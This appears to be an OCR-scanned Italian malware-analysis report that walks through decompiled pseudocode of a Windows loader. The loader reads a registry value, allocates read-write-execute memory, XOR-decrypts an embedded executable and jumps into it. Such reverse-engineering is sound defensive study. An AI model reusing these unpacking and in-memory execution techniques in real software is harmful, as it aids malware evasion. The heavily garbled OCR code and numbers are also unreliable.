“Y(var_344444443 4+ regkeyValue + 11) = var_344444443 + 'a’;

“Y(var_344444443 + regkeyValue + 12} = wvar_344444443 + 'a’;

“Y(var_344444443 4+ regkeyValue + 13) = var_344444443 + '5°;

“Y(var_ 344444443 + regleyValue + 14) = var 344444443 + 'h';

“Y(var_344444443 + regkeyValue + 15) = war_344444443 + '6°;

“Y(var_344444443 + regkeyValue + 16) = wvar_ 344444443 + 'a’;

*( BYTE ”){var 344444443 + regKeyValue + 17) = var 344444443 + '8';
result = (char *)(var_344444443 + regleyValue);
*[. BYTE ”)(var_344444443 + regkeyValue + 18) = var 344444443 + '@°;
return result;

b
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In questa funzione la variabile var_ 344444443, gia incontrata precedentemente, viene
inizializzata a 0. Inoltre troviamo la variabile regKeyValue in cui viene salvata una stringa
contenente un offset. Questa variabile viene sommata ad un numero intero compreso tra 0 e 48
e il risultato di questa operazione corrisponde ad un carattere specifico. La funzione ripete
questa operazione fino ad avere una sequenza di caratteri, che vengono concatenati formando
una chiave di registro:

HKEY_CLASSES_ROOT\Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}

Siamo riusciti a ricavare la chiave di registro grazie al software Registry Editor, il quale mette a
disposizione la visualizzazione di tutte le chiavi di registro di sistema. Infine la funzione ritorna la
chiave di registro.

{ :
i ~esult; f/ ea
t = RegOpenKeyA_ fun(@x3eeeeese, regKeyValue, Bregistry_key_handle, @xseeeeeee);// dword_419658 usata per salvare la ch:
/
// BxBE00E00 valore fisso handle windows
regkeyValueCont = result;
if { result } // result boolean???
while ( 1) /f useless while???
}
return result; // ritorna il risultato
¥
In questa funzione viene assegnato alla variabile result il risultato del comando

RegOpenKeyA fun al quale vengono passati 4 parametri. 0x80000000 €& il valore fisso
del’handle di Windows, mentre la variabile regKeyValue contiene una stringa che fa riferimento
ad un offset. La variabile registry_key_handle contiene la chiave di registro. Infine viene ritornato
il contenuto della chiave di registro.
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All'interno della varibiale unkownData_Pointer, presente in start_malware, viene salvato il valore
di ritorno di questa funzione:

int getRegValueContent()
{ -
unsigned _ int8 vi[28@]; // [esp+2(4h
int v2; // [e Ch] [eb
int v3; // [e

maybe_saved_Reg = (int)GetModuleHandleW(®); // recupera un handle di modulo per il modulo specificato. il modulo deve esse
dword_419858 = *{_DWORD *)(maybe_saved_Reg + @x3C);

2 = 2088;
3=1;
while ( RegQueryValueExA fun(registry key handle, &unk 419834, @, &3, vi, &2} )
getRegvalueContent(); // richiama la funzione stessa se la condizione while e' vera
if (Vi3] = "t7 ) // TActiveScriptParseProcedure32, data preso dal registro di windows
unknownData_pointer = (int)&unknownData;
*(_DWORD *)&byte_ 408874 -= 333; // 4012E0
i “)&byte 4088874 <= (u ed int)maybe saved Reg

[T *go J8byte_4@8674 >= (u ed int)(maybe_saved_Reg + 4
* *(_DWORD *)(dword 419058 + maybe_saved Reg + @x50)) )// *(§

{

maybe_saved_Reg = savedRegs;

dword_418FE4 = 1; // se una delle due condizioni sono vere viene settata a 1
}
else

dword_418FE4 = 8; // se le condizioni sono false viene settata a @

}

return unknownData_pointer;

In questa funzione vengono inizializzate 3 variabili:

v1 & un array di 200 caratteri mentre v2 e v3 sono due interi.

Nella variabile maybe_saved_Reg viene salvato I'handle del processo corrente del file che si sta
eseguendo. Nella variabile dowrd 419058 viene salvato il valore contenuto nel 60esimo byte
dell’eseguibile, cioé il portable executor. Il formato portable executor & una struttura dati che
incapsula le informazioni necessarie al loader di Windows per gestire il codice eseguibile.

Nel ciclo while vengono letti tutti i valori della chiave di registro e finché la condizione & vera la
funzione getRegValueContent viene richiamata ricorsivamente.

Nell’if viene controllato se il dato contenuto nella chiave di registro, presente nella variabile v1, &
corretto: siamo riusciti a ricavare il dato contenuto nella chiave di registro
("lActiveScriptParseProcedure32") grazie al software Registry Editor.

Una volta verificata la condizione nell'if, nella variabile unkownData_pointer viene salvato il
riferimento alla variabile unknownData. All'interno del secondo if vengono controllate determinate
posizioni delle celle di memoria dell’eseguibile. La funzione infine ritorna il riferimento alla
variabile unknownData_pointer.

int va; // eax
HMODULE w13 // eax

for ( wvar_344444443 =

]

d int)var 344444443 ¢ 33244443; var 344444443 4= 4 )/ for(33; 33<0u1FB451B; 33=3344)

8 = getlessdbyte(); // --ranalizzata, prende 4 byte prima di junk data e 1li mette dentro v@
var_ 344444443 = i3
unkownData_Pointer lessdbyte 1 = vi@;
1 = LoadLibraryA(akernel32); / carica il modulo specificato nello spazio degli indirizzi del processo di ¢

virtualAlloc fun = (int (_ cdecl *)(_DWORD, _Di 5 _I¥ DWORD, _DWORD, _DWORD))GetProcAddress{vl, ProcName};// restitui

return Virtual_alloc_junk:aata(); - // --vanalizzata (dc;'ebbe tornare 1'indirizzo della funzione dll)

Nel ciclo for di questa funzione si crea un contatore con la variabile var_344444443 che va da 33
a 344444443 con un incremento di 4 ad ogni iterazione.
Successivamente alla variabile vO viene assegnato il risultato della funzione getLess4byte.
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intk vo; ff STE

unkownData_Pointer -= 4;

} = *{ DWORD *)unkownData_Pointer;
unkuwnﬂata Pointer += 4;
return ve;

Questa funzione ritorna la variabile vO che contiene la variabile unkownData_Pointer spostata di
-4 byte.

Continuiamo poi I'analisi della funzione sub_401440, dove nella variabile var_344444443 viene
salvato il valore della variabile vO spostato di -4 byte e vO viene ulteriormente salvato nella
variabile unkownData_Pointer_less4byte 1. Nella variabile v1 viene caricato il modulo
Kernel32.dll e nella variabile VirtualAlloc_fun viene salvato 'indirizzo contenente la chiamata
VirtualAlloc, attraverso la funzione GetProcAddress la quale cerca il valore di
ProcName(VirtualAllocEx) all’interno del modulo Kernel32.dll.

La funzione ritorna il valore generato dalla funzione virtual_alloc_junk_data().

{
int result; //
= VirtualAlloc_fun(-1, B, unkownData_Pointer_less4byte_ 1, 12288, @x48, unkownData_Pointer_ lessdbyte 1);
polnterToAllocateHemory result; // result=indirizzo di memoria allocata
unkownData_Pointer_lessdbyte_: 2 = unkownData_| Polnter less4byte i;
polnterToAllocateMemor; plus_66288 = (int (*)(void))(result + @x182F@);// somma=@x4183E8 + 4 = 4183EC => 68h = @68
return result;

In questa funzione tramite il comando VirtualAlloc fun viene salvato, nella variabile result,
lindirizzo della memoria allocata che viene successivamente salvato nella variabile
pointerToAllocateMemory.

In seguito, il valore della variabile unkownData_Pointer_less4byte 1 viene salvato nella variabile
unkownData_Pointer_less4byte_2.

Alla variabile pointerToAllocateMemory_plus_66288 viene assegnato il valore 66288 sommato al
puntatore dell’allocazione di memoria. La funzione infine ritorna I'indirizzo della memoria allocata.

Torniamo di nuovo alla funzione start_malware dove vengono successivamente inizializzate tre
variabili: index1 = 0, index2 = 0, index3 = 1.

All'interno del ciclo while, nella variabile minValue viene salvato il valore minimo tra var_7Bh e
unkownData_Pointer_less4byte 2. Nell'if viene messa una condizione per uscire dal while: si
verifica che il valore della variabile index1 sia maggiore o uguale della variabile
unkownData_Pointer_less4byte_1, in questo caso il ciclo while terminerebbe.

Di seguito viene richiamata la funzione 401600.
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signed int @
i
igned int
int vi; // 1 [ebp-18h]
unsigned int v2; // [esp+l4h
int v3; // [esp+l8h] [ebp-4h]
=8
= indexl + pointerToAllocateMemory; /f v3 = @ + allocated_junk_data(indirizzo di allocazione di memoria)
vl = index2 + unkownData_Pointer; /f vl = @ + junk data_from_function(junk_data shiftati di -4bytes) --»> dovrebf
while ( 1 ) // dentro al while si alloca negli di indirizzi di memoria + v2(contatore)}, i
esult = 13151; [/ @x335F
if ( v2 »= minValue ) /f @ >= val min
break;
*(_BYTE *)(vz + v3) = *(_BYTE *)(v2 + vi); // v3 + v2 = vl + w2 =» allocated_junk data + v2 = junk_data_from_function(jy
+ul;
}
return result =
}

In questa funzione inizialmente vengono dichiarate 4 variabili.

La variabile v2 viene inizializzata a 0. Nella variabile v3 viene salvato il valore della variabile
pointerToAllocateMemory che contiene lindirizzo di allocazione di memoria sommato alla
variabile contatore index1, che viene incrementata nel ciclo while della funzione start_malware.
Nella variabile v1 viene salvato il valore della variabile unkownData_Pointer che contiene il
riferimento alla variabile unknownData spostata di -4 byte sommata alla variabile contatore
index2 che viene incrementata nel ciclo while della funzione start_malware.

Nel while alla variabile result viene assegnato il numero 13151, in seguito viene definito un if
contenente una condizione per terminare il ciclo. La condizione prevede che la variabile
contatore v2 sia maggiore o uguale alla variabile minValue che contiene il valore minimo tra le
variabili var_7Bh e unkownData_Pointer_less4byte 2 presenti nella funzione start_malware.
Successivamente viene salvato il contenuto delle celle di memoria di v1 nelle celle di memoria di
v3 ad ogni iterazione del ciclo while. La variabile contatore v2 viene incrementata ad ogni ciclo.
Infine questa funzione ritorna la variabile result, contenente il valore 13151.

Continuiamo ad analizzare la funzione start_malware proseguendo con le operazioni rimaste
all'interno del while.

Nella variabile 418FEQ viene salvato il valore della variabile minValue che contiene il valore
minimo tra le variabili var_7Bh e unknownData_Pointer_less4byte 2.

Nella variabile index2 viene salvato ad ogni ciclo il suo valore attuale sommato al valore della
variabile index3, al valore della variabile var_7bh e al valore 21 che viene poi sottratto
nell’istruzione successiva.

Nella variabile index1 viene salvato ad ogni ciclo il suo valore attuale sommato al valore della
variabile var_7Bh.

Nella variabile unkownData_Pointer_less4byte 2 viene salvato ad ogni ciclo il suo valore attuale
al quale viene sottratto il valore della variabile minValue.

Terminato il ciclo while viene eseguita la funzione decrypt3.
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unsigned int decrypt3()
1
unsigned int result; //
unsigned int i; // [esp

for (1=0; ; i +=4 )
{
ult = i // contatore

esult = i;
if ( i »= unkownData_Pointer_lessabyte 1 ) // se maggiore della variabile esci dal for

break;
pointerToAllocateMemory 1 = i + pointerToAllocateMemory;// nel while i valori unknown vengeno inseriti nelle varie celle
sub_481e66(125, i); // --rsomma contatore ad una variabile e ritorna il valore finale
pointerToAllocateMemory 2 = pointerToAllocateMemory_1;
var_i_plus_2347 = i + 2347;
decrypt2();
}
return result; // ritorna il contatore

}

In questa funzione vengono calcolati i puntatori alle locazioni di memoria contenenti i dati che
verranno decriptati nella funzione decrypt, contenuta nella funzione decrypt2. La decifratura
avviene attraverso uno XOR tra un contatore sommato all'intero 2347 e la variabile
allocated_memory_2 che contiene il puntatore alla locazione di memoria.

+3

int decrypt2()

1

pointerToAllocateMemory_3 = pointerToAllocateMemory 2;

return decrypt(); {/f --ranalizzata (operazioni aritmetiche su wariabili)
by
int decrypt()

int result; /f eax

dword_41986C = var_i_plus_2347;

allocatedMemory_2 = *{ DWORD *)pointerToAllocateMemory _2;
dword_41986C = var_i plus 2347 - 2;

dword 419878 = var_i plus 2347 ~ allocatedMemory 2;

result = var_i plus 2347 ~ allocatedMemory 2;
allocatedMemory 2 = result;
*{ DWORD *)pointerToAllocateMemory 2 = result;

return result;

int sub 481268()
int savedregs; // ST83_4
savedregs = maybe_saved_Reg;

return pointerToAllocateMemory plus_66288(); // chiama la funzione che sta dentro la memoria allocata decifrata all'indiriz:

b

Arrivati a questo punto & stato necessario eseguire il malware attraverso il debugger messo a
disposizione da IDA Pro, posizionando dei breakpoint sulle ultime due funzioni di start_malware.
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int _ cdecl start_malware{int a1)
i
int savedregs; // [esp+14h] [ebp+Bh]@1

calculateFixNum3Liuiiuni();

savedRegs |= al; int)

savedRegsPointer = savedregs;

regOponKeyn_Str = »{int (_ cdecl ==){_DWORD, _DWORD, _DWORD, _DWORD))RegOpenKeyn;
getRegKey();

unknouwnData_pointer1 = getRegValueContent(};
sub_4814408();
index1 = 8;
index? = 8;
index3 start_1 = 1;
wvhile ( 1)
{
minVal = getHMinVal({dword_ 488868, unknounData_pointerilLessh 1);
if { index1 »= {unsigned int)unknouwnData_pointerilLessy )
break;
sub_481608() ;
dword_418FE@ = minUal;
index2 += index3_start_1 + dword 408868 + 21;
index2 -= 21;
index1 += dword 468008;
unknownData_pointeriLessd_1 -= minVal;

DO B NN EWBNDD 00O VIS WN @0 W OV W -

regQueryValueStr = =(int (  cdecl ==){(_ DWORD, DWORD, DWORD, DWORD, DWORD, DWORD})RegQueryUalueEx

Cosi facendo € stato possibile vedere il comportamento del malware dall’inizio fino alla chiamata
return presente nella funzione 401260, la quale punta ad un’altra locazione di memoria
(Ox6102F0). E’ stato possibile convertire il contenuto della memoria, inizialmente in funzione e

successivamente in codice, per capirne il comportamento.

1int _ cdecl sub &182F8{int al)
21
3 dnt vi; // STBC_LEY

4 dnt w2; /7 ST14_ L@y

L int u3; FF ST28 4@y

6| int =u5; // [esp+18h] [ebp-68h]@3

7| int vé; // [esp+2Bh] [ebp-6Bh]@4

8 int v7; ff [esp+24h] [ebp-5Ch]E4

9| int v8; /7 [esp+28h] [ebp-58h]E@8

18] int v9; // [esp+2Ch] [ebp-54h]@%4

11| int v1@; // [esp+3Bh] [ebp-5Bh]E7

12| int v11; /7 [esp+768h] [ebp-16h]@Y

13 unsigned int i; // [esp+74h] [ebp-Ch]@1
14 int v13; // [esp+78h] [ebp-8h]@4

15 1int savedregs; /7 [esp+88h] [ebp+Bh]E4
16| int retaddr; // [esp+84h] [ebp+hh]@4

17
18] for i = B; i € BxX32DCDS; ++1 )
19 ((uoid {__cdecl x)(int ==, DUORD, signed int))unk_68FB8E)(&vS, O,

28 uvi1d = retaddr;
21 uS = &savedregs;
22| {({uoid { cdecl =*}{int =*))unk 6BF838)(&u5);

23 ({void (=*){void})unk &6BF738 2
24 ub = uvld; Bx608F738
25 w9 = al;

26 vwi1 = al;
27 uvl1l = ={ DUDRD =){uv? + 608) + uvd;
28 vu7 = =(unsigned __int16 *){uill + 22);

88);
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ul = *( DWORD =*=)}{((int {*){void))unk GBFF738)() + 4198688);
38 u2 ({int {=)(void})unk 6OF738){) + 4198692;
31 w3 ((int { cdecl =){int))unk 6BFA3B){vi};
{{void { cdecl =){int, int, int))unk GBFBCA){u3, v2, ul);

uS[4] = vig;
JUHPOUT{ _ €S, u&);
¥

return 8;

Nel codice della funzione vengono svolte delle operazioni gia viste precedentemente come la
VirtualAlloc, vengono dati i permessi di RWX, poi vengono decifrati dei dati che infine vengono
salvati nelle zone di memoria allocate.

1/int _ cdecl decryplit_new{int a1, unsigned int a2)
2

3| int result; /7 eaxi@3

4 unsigned int i; /7 [esp+Bh] [ebp-4h]E1
L

6 for {( 1 = 8; 1 € az; 1 += 4 )

74

g *{ DWORD =){i + al1) += i;

9 *{ DWORD =){i + a1) "= i + 1881;

18 result = i + &3

11| 3}

12| return result;

13}

Andando ad analizzare la funzione decrypt_new possiamo vedere che decifra i dati salvati nella
memoria 0x30000 alla quale sono stati dati i permessi di Read/Write/Execute.

COL UEI FUSUN = UCULY UL - S0 e

debug821:886183C3 mou edx, [ebp+uar_80] s

debugB21:8086163C6 push edx .

debug021:006103C7 mou eax, [ebp+uar 6C] ALl e s e DL LG e LAl
il debug?1:886103CA push  elax Efzgglfigff b StiCEEEESE1EE“1-““1°

2 eax=debug 837 : 68630000 ) ) '

debugB21:8686163D08 add | e e e

debuqB21:0806183D3 mov ecy’

debugb21:886183D6 push eci. segment type: Pure code F

debug621:886103D7 lea ed:. cegment permissions: Read/Write/Execute

debug621:8066163DA push ed*qebuge3z segment byte public 'CODE' use32

debuqgB21:8086163DB call sukt assume cs:debugB37

debugB21:886103E8 test eax :org 30888h

debug021:086103E2 jnz she assume es:debugB14, ss:debugBik4, ds:debug®1k, fs:debugB14, gs:debugBi

debugB21:6086183E4 xor eax db 8ALh - W

debug821:006103E6 jnp she db. 5on ;¥

debugeza=ERel 0ZEE R e et e

debug821:8086163E8 Decimal Hex State

debugB21:806163E8 loc_6183E8: ; CODE XREF: sub_6182

debuq®21:B86103E8 cnp [ebp+var_68], 8 %’Jggzg 1D%B§ ig:g;’,

debugB21:0886183EC jz short loc_6183F7 3224 co8 Ready

debuqB21:806183EE mov eax, [ebp+uvar_58]

debugB21:886183F1 mov ecx, [ebp+uvar_68]

18



LI LRI B35 £ o ERED BR.F ERERED B3

dL:5 Uy B> ubrpuywis, LHSUuvrouywisd, UL ._uvrgud
s

debuqgB37:0003 0000 db BA4h
debuqgB37:88838881 db 59h
debuqgB37:008083008082 db 98h
debugB37 8080838883 db a
debugB37 : 8883 8884 db BEAh
debugB37 : 800300065 db 3
debugB37 : 808083808086 db a
debuqgB37 : 8808388487 db 8
debugB37 : 088386888 db BEDh
debugB37 : 000300069 db 3
debuqgB37 80883808080 db a
debuqgB37 : 80038868 db a
debugB37 : 8883 8688C db BFEh
debugB37 : 88838880 db BFBh
debugB37 : 8003 8006E db a
debuqgB37 :008083886F db a
debugB37 88838818 db 31h
debugB37 888386811 db 3
debugB37:808038012 db 8
debuqgB37:808038013 db a
debuqgB37:08838014 db BE9h
debugB37 1888386815 db 3
debugB37 88838816 db 8

HME W
m-=c 3

wa wr ws W 1
= = =i

L I |
=

Alla sub_60FF80 vengono passati due parametri, il primo & I'indirizzo della locazione di memoria
0x30000 e il secondo parametro € Ox019FESC (--8c9aa769), cioé il parametro che si aspetta in
input per proseguire il flusso del codice. Inseriamo poi un breakpoint sulla riga di codice che
comprende “test eax, eax” fino ad arrivare alla loc_6103F7, dove avviene la copia dei dati,
saltando infine alla sub_40C9A0.

21:08061083F7 loc_6183F7:

21:8086183F7 mov
21:-:886183FA mou

M 21:806103FD pop ebp

; CODE XREF: sub_ 6182F @8+

edx, [ebp+uvar 58]
esp, [ebp+var_

UNKNOWN 006103FD: sub 6102F0+10D (Synchrg

| <

| Hex View-1

aug120a
B4812ER
aue12Fa
a4p1360

87 E® 6A FE FF FF 8B C8
FC 43 BE 4D F8 BB 55 E4

Rl gl 88 SB 8B ES 5D

55 8B EC 51 64 A1 38 88

00006F0 004012F0: start malware+10

8B 4
3B &
cC3 C

o1
[ebp+var_58]=[Stack[88001868]:0819FEGC ]

db BABh ; 3
db BC%h ; +
db 48h ; @
db 8
db a
db a
db 48h ; @
db 8
db a
db a8

Prima di passare all’analisi della funzione 40C9A0, abbiamo utilizzato il software ProcessHacker
che ci ha consentito di vedere le proprieta del file eseguibile. In particolare siamo riusciti a
visualizzare i processi in memoria eseguiti dal Malware.
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© ww.exe (5332) Properties - O X
General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

Hide free regions Strings... Refresh

I Base address Size Protection Type Use Total WS
0x40d000 44 kB WC Image: Commit  \\vmware-host\Shared Folders\shared\... 44 kB
0x409000 12 kB WC Image: Commit  \\vmware-host\Shared Folders\shared\... 12 kB
0x7ffaf5621000 1,116 kB RX Image: Commit  C:\Windows\System32\ntdll.dll 560 kB
Ox7ffaf4cc1000 216 kB RX Image: Commit  C:\Windows\System32\wow64.dll 88 kB
0x7ffaf3741000 264 kB RX Image: Commit  C:\Windows\System32\wow6&4win.dll 28 kB
0x77421000 1,128 kB RX Image: Commit  C:\Windows\SysWOW6e4\ntdll.dIl 664 kB
0x77416000 4 kB RX Image: Commit  C:\Windows\System32\wow64cpu.dll 4 kB
0x77411000 8 kB RX Image: Commit  C:\Windows\System32\wow64cpu.dll 4 kB
0x77091000 708 kB RX Image: Commit  C:\Windows\SysWOW64\msvcrt.dll 156 kB
0x76e61000 412 kB RX Image: Commit  C:\Windows\SysWOW64\sechost.dll 52 kB
0x76c61000 1,808 kB RX Image: Commit  C:\Windows\SysWOW&64\KernelBase.dll 288 kB
0x76b31000 1,080 kB RX Image: Commit  C:\Windows\SysWOWe6e4\ucrtbase.dll 208 kB
0x76aa1000 444 kB RX Image: Commit  C:\Windows\SysWOW64\msvcp_win.dll 100 kB
0x75f61000 100 kB RX Image: Commit  C:\Windows\SysWOW64\imm32.dll 20 kB
0x75ed1000 104 kB RX Image: Commit  C:\Windows\SysWOWe64\gdi32.dll 92 kB
0x75cd1000 644 kB RX Image: Commit  C:\Windows\SysWOW6e4\user32.dll 88 kB
0x756f1000 1,240 kB RX Image: Commit  C:\Windows\SysWOWe&4\gdi32full.dll 88 kB
0x75631000 680 kB RX Image: Commit  C:\Windows\SysWOW64\rpcrt4.dll 36 kB
0x75511000 412 kB RX Image: Commit  C:\Windows\SysWOW64\advapi32.dIl 60 kB
0x754b1000 352 kB RX Image: Commit  C:\Windows\SysWOWe4\bcryptprimitiv... 64 kB
0x75491000 72 kB RX Image: Commit  C:\Windows\SysWOW64\win32u.dll 68 kB
0x75210000 400 kB RX Image: Commit  C:\Windows\SysWOWe64\kernel32.dll 64 kB
0x74bf1000 100 kB RX Image: Commit  C:\Windows\SysWOW®64\sspicli.dll 32kB
0x74be1000 16 kB RX Image: Commit  C:\Windows\SysWOW64\cryptbase.dll 12 kB
0x401000 8 kB RX Image: Commit  \\vmware-host\Shared Folders\shared\... 8 kB
0x600000 68 kB RWX Private: Commit 68 kB
0x30000 64 kB RWX Private: Commit 64 kB
0x93d000 8 kB RW+G Private: Commit  Stack 32-bit (thread 3224)
0x665000 12 kB RW+G Private: Commit  Stack (thread 3224)
0x5fd000 8 kB RW+G Private: Commit  Stack 32-bit (thread 3536)
0x1f5000 12 kB RW+G Private: Commit  Stack (thread 3536)
0x19a000 8 kB RW+G Private: Commit  Stack 32-bit (thread 4280)
0x95000 = 2

Abbiamo notato i seguenti indirizzi di memoria:
0x600000 — memoria utilizzata dal codice studiato nella funzione start_malware

0x30000

Queste allocazioni di memoria avevano i permessi di lettura, scrittura ed esecuzione(RWX).
L’anomalia riscontrata & che un normale file eseguibile non ha attivi i permessi in memoria per

RWX. Abbiamo analizzato I'esadecimale della

locazione di memoria 0x30000 ed abbiamo

scoperto che era presente la stringa “MZ” nei primi bytes dell’header di memoria, cosi abbiamo
capito che si trattasse di un file eseguibile.
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D N
General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment
[trlI+K)
Hide free regions Strings... Refresh
Base address Size Protection Type Use Total WS A
0x7ffaf5621000 1,116 kB RX Image: Commit  C:\Windows\System32\ntdll.dll 560 kB ws Serv...
Ox7ffaf4cc1000 216 kB RX Image: Commit  C:\Windows\System32\wow64.dIl 88 kB P-sen
0x7ffaf3741000 264 kB RX Image: Commit  C:\Windows\System32\wow64win.dll 28 kB
0x77421000 1,128 kB RX Image: Commit  C:\Windows\SysWOWe4\ntdIl.dll 668 kB [vs Serv..
0x77416000 4 kB RX Image: Commit  C:\Windows\System32\wow6&4cpu.dll 4 kB s Serv...
0x77411000 8 kB RX Image: Commit _ C:\Windows\System32\wow64cpu.dIl 4 kB ws Serv...
0x77091000 :
0x76261000 B " ww.exe (5332) (0x400000 - 0x414000) O X
0x76c61000
0x76b31000 00000000 fld 5a 90 00 03 00 00 00 04 00 00 00 ff £f 00 00 MZ...........n.. ~
i < 00000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........ o o i
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...uevevererennnn
0x75f61000 00000030 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 «euureeneneennn.
0x75ed1000 00000040 Oe 1f ba Oe 00 bd 09 cd 21 b8 01 4c cd 21 54 68 ........ '..L.!Th
0x75cd1000 00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is program canno
0x756f1000 00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t be run in DOS
0x75631000 00000070 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 mode....$.......
0x75511000 00000080 af df 0d cb eb be 63 98 eb be 63 98 eb be 63 98 ...... c...c...c.
0x754b1000 00000090 96 c7 86 98 cf be 63 98 96 c7 bd 98 ea be 63 98 ...... Covevnnn c
0x75491000 00000020 52 69 63 68 eb be 63 98 00 00 00 00 00 00 00 00 Rich..C.........
0x75210000 000000b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ........ Pliisdie
0x74bF1000 000000c0 3b 92 9e 5c¢ 00 00 00 00 00 00 00 00 €0 00 OF 01 ;..\evueuerennn.
0x74be1000 000000d0 Ob 01 Oc 00 00 ce 00 00 00 50 00 00 00 00 00 00 ......... = LS
0x670000 000000e0 a0 c9 00 00 00 10 00 00 00 €0 00 00 00 00 40 00 ...uveveeennn- @.
£ 000000£0 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 ueuvveereernnnnn
00000100 06 00 00 00 00 00 00 00 00 40 O1 00 00 04 00 00 ......... I
LEUITL 00000110 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 ...... Gy e comas
0x30000 00000120 00 00 10 00 00 10 00 00 00 00 Q0 00 10 00 00 00 «ueuenenenenen.. |
0x93d000 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..ovvuueeennnn..
0x665000 00000140 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 ueuvvererenennns
0x5fd000 00000150 00 00 00 00 00 00 00 D0 00 30 01 00 8c 05 00 00 ......... o N—
0x1f5000 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .u.euvveverenennns
0x19a000 00000170 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 .u.euvveeeeenennnn
0x95000 00000180 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 u.euvvevererennnn
0x7ffaf5782000 00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...euvverererennnn
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...uveverenennnn
000001b0 2e 74 65 78 74 00 00 00 24 cc 00 00 00 10 00 00 .text...$.......
000001c0 00 ce 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ueuvveeerennnnnn
_ 000001d0 00 00 00 00 20 00 00 60 2e 72 64 61 74 &1 00 00 rdata
000001e0 00 Ob 00 00 00 €0 00 00 00 Oc 00 00 00 d2 00 00 ...euveverenennnn v
Re-read Write Go to 16 bytes per row = Save

Successivamente viene effettuato il dump della locazione di memoria da analizzare ed aprendolo
con il software Pestudio possiamo confermare che si tratta di un file eseguibile.
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-data:ee4aceAn

-.data:@848C9A8 ; FUHCTION CHUHK AT .data:@8684BCE?A SIZE BABGBAAS BYTES
-data:884BCcoAe

-data:e8a4a8Cc9A8 push ebp

-data:8848C2A1 mov ebp, esp
-data:8848C9A3 and esp, BFFFFFFF8h
-data:8848C2A6 sub esp, 674h

-data:@8848C9AC push ebx
-data:8848C9AD push esi
-data:B@B4BCPAE push edi
-data:@884BC9AF call sub_L4BBSBA
-data:B8848C9B4 call sub_48BCAA

-data:8848C9B9 push 184h ; _DUWORD
-data:8840BC9BE lea eax, [esp+684h+var_288]
-data:B8a4acoCs push eax ; DUORD

i .data:po4BCYCE push a ; _DWORD
-data:884B8CoC8 call getHoduleFileHame ; GetHoduleFileHame
-data:8848C9CE mov ax, [esp+68Ch+var_214]
-data:@848CoD6 lea ecx, [esp+6BCh+var_214]
.data:Bea4acopD xor edi, edi
-data:8B48C2DF test ax, ax
-data:B8B4BCYE2 j=z short loc_LBCABG
-data:@848C9E4 movZX eax, ax
-data:@B4BC2E7 jmp short loc_48C9FA
dataz BBNBEBED =
-data:B8848C9E9 lea esp, [esp+@]

-data:8848CoF B

0000AFC8 0040C9C8: sub_40C9A0+28 (Synchronized with EIP)

Arrivati a questo punto, possiamo dire che la 40C9A0 ¢ la funzione da cui iniziano le operazioni
del malware vero e proprio. Infatti continuando I'analisi & stato possibile trovare gli stessi
comandi utilizzati precedentemente nelle funzioni analizzate finora come ad esempio:
LoadLibraryExA(kernel32.dll), GetProcessVirtualAlloc, ecc. .

Tutti i dati elaborati in questa fase vengono di nuovo salvati e decifrati attraverso una XOR.
Successivamente viene fatta una call getModuleFileName che consente di ottenere la stringa
contenente il path del file.exe, che viene letta fino all’'ultimo carattere.
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IDA View-

Debug View
EIP Pseudocode-C

15 vvIUUW S St

Unexolored Ins[esp+68Ch+var_214]=[Stack[ BABB1E6E] - 0B19FCCA]

@

B Pseudocode

ush
oy

nd

ub

ush
ush
ush
all
all
ush
ea

ush
ush
all

0000AFCE 0040C9CE: sub 40C9A0+2E (Synchronized

| <

FUHCTION CHUHK AT

ebp

ebp, esp

esp, BFFFFFFF8h
esp, 674h

ebx

esi

edi

sub_40BS5E@
sub_4BBCAB

184h

eax, [esp+684h+var_ 208]
eax

8
getioduleFileHame

ax, [esp+6BCh+var_214]

ecx, [esp+68Ch+var_214]

edi, edi

ax, ax

short loc_ 4BCABG
eax, ax

short loc 4BC9F8

esp, [esp+0]

.data:88408CB9A SIZE A4

7 Hex View-1

jahB12Da
184612E8
1ahB12F A
ja4B13 08

100006F0 004

87 E8 6A FE FF FF 8B C8
FC 43 8B 4D F8 BB 55 E4

gliils 88 SB BB ES 5D

55 8B EC 51 64 A1 30 08
012F0: start malware+10

8B 45 18 8
JB 58 18 7
(B2 (EE (HE B
88 68 53 5

9 Qutput window

I4BCABG6: failed to erase hreaEpuint!

Python |
{U: idle Down Disk: 15GB

db
db
db
db

SAh
a8
3Ah
8
5Ch
a8
53h
8
68h
a
61h
a8
¥2h
8
65h
8
64h
8
ECh
8
65h
8
6Dh
a8
6Fh
a8
7u4h
a8
65h
a8
7u4h
a8
ECh
8
¥7h
a8
¥7h
a
2Eh
a
65h
a
78h
a

65h
a

Fi

b

Di seguito viene fatta una call GetCommandLine che prende la stringa contenente il path del
in input. Vengono po
GetCommandLine con la stringa contenente il path del file.exe e il parametro calcolato dal

file.exe e

programma, come possiamo vedere nelle foto riportate di seguito.

-data
-data
-data
-data
-data
-data
-data

-l

il parametro richiesto

:@848CA7A loc_ 4BCA7A:
eax, [esp+§96h+var 428+2]

@84 OCAT7A lea
tHA4BCA77 push
:HA4BCA7E push
:A48CAT7Y call
:A840CAT7F test
:BB48CABT1 jnz

eax
edi

strcmp
eax, leax
loc 4BCB36

comparati

dati

presi dalla

CODE XREF

_DWORD
_DWORD
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Aol O i o S N W] il Tt o PO T |

| 8cA77 push  eax - _DWORD
0CA76 push  edl eax=Stack[ 000010B8]: 6619FABS’
